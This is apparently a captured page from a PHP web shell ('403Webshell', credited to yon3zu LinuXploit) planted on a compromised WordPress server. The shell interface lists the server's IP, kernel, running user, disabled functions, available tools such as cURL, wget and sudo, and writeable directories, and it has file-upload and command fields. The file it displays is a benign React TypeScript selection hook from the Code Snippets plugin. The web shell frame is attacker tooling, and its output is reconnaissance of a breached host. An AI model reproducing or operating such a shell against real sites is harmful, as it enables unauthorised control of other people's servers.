403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/code-snippets/js/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/code-snippets/js/hooks/useSelection.ts
import { useState } from 'react'

export interface UseSelection<T, K> {
	selectAll: VoidFunction
	toggleItem: (itemKey: K) => void
	selectedItems: Set<K>
	isAllSelected: boolean
	availableItems: T[]
	clearSelection: VoidFunction
	getSelectedItems: () => T[]
}

export const useSelection = <T, K>(availableItems: T[], getKey: (item: T) => K): UseSelection<T, K> => {
	const [selectedItems, setSelectedItems] = useState<Set<K>>(new Set())

	const toggleItem = (itemKey: K) => {
		const newSelected = new Set(selectedItems)

		if (newSelected.has(itemKey)) {
			newSelected.delete(itemKey)
		} else {
			newSelected.add(itemKey)
		}

		setSelectedItems(newSelected)
	}

	const selectAll = () => {
		if (selectedItems.size === availableItems.length) {
			clearSelection()
		} else {
			setSelectedItems(new Set(availableItems.map(getKey)))
		}
	}

	const clearSelection = () => {
		setSelectedItems(new Set())
	}

	const getSelectedItems = () =>
		availableItems.filter(item =>
			selectedItems.has(getKey(item)))

	const isAllSelected = selectedItems.size === availableItems.length && 0 < availableItems.length

	return {
		availableItems,
		selectedItems,
		toggleItem,
		selectAll,
		clearSelection,
		getSelectedItems,
		isAllSelected
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit